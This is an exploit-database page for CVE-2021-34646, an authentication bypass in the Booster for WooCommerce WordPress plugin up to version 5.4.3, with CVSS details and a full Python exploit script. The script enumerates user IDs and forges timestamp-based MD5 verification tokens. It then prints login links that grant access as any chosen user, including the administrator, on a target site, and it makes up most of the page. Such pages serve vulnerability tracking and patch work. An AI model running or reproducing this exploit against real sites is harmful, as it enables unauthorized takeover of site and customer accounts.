Exploitalert - Database of Exploits

WordPress WooCommerce Booster 5.4.3 Authentication Bypass

CVE	Category	Price	Severity
CVE-2021-34646	CWE-287	Not specified	High

Author	Risk	Exploitation Type	Date
Exploit Alert	High	Remote	2021-09-17

CPE
cpe:cpe:/a:wordpress:woocommerce_booster:5.4.3

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2021090089

WordPress WooCommerce Booster 5.4.3 Authentication Bypass

# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass # Date: 2021-09-16 # Exploit Author: Sebastian Kriesten (0xB455) # Contact: https://twitter.com/0xB455 # # Affected Plugin: Booster for WooCommerce # Plugin Slug: woocommerce-jetpack # Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/ # Affected Versions: <= 5.4.3 # Fully Patched Version: >= 5.4.4 # CVE: CVE-2021-34646 # CVSS Score: 9.8 (Critical) # Category: webapps # # 1: # Goto: https://target.com/wp-json/wp/v2/users/ # Pick a user-ID (e.g. 1 - usualy is the admin) # # 2: # Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1 # # 3: # Check-Out out which of the generated links allows you to access the system # import requests,sys,hashlib import argparse import datetime import email.utils import calendar import base64 B = "\033[94m" W = "\033[97m" R = "\033[91m" RST = "\033[0;0m" parser = argparse.ArgumentParser() parser.add_argument("url", help="the base url") parser.add_argument('id', type=int, help='the user id', default=1) args = parser.parse_args() id = str(args.id) url = args.url if args.url[-1] != "/": # URL needs trailing / url = url + "/" verify_url= url + "?wcj_user_id=" + id r = requests.get(verify_url) if r.status_code != 200: print("status code != 200") print(r.headers) sys.exit(-1) def email_time_to_timestamp(s): tt = email.utils.parsedate_tz(s) if tt is None: return None return calendar.timegm(tt) - tt[9] date = r.headers["Date"] unix = email_time_to_timestamp(date) def printBanner(): print(f"{W}Timestamp: {B}" + date) print(f"{W}Timestamp (unix): {B}" + str(unix) + f"{W}\n") print("We need to generate multiple timestamps in order to avoid delay related timing errors") print("One of the following links will log you in...\n") printBanner() for i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors hash = hashlib.md5(str(unix-i).encode()).hexdigest() print(f"{W}#" + str(i) + f" link for hash {R}"+hash+f"{W}:") token='{"id":"'+ id +'","code":"'+hash+'"}' token = base64.b64encode(token.encode()).decode() token = token.rstrip("=") # remove trailing = link = url+"my-account/?wcj_verify_email="+token print(link + f"\n{RST}")

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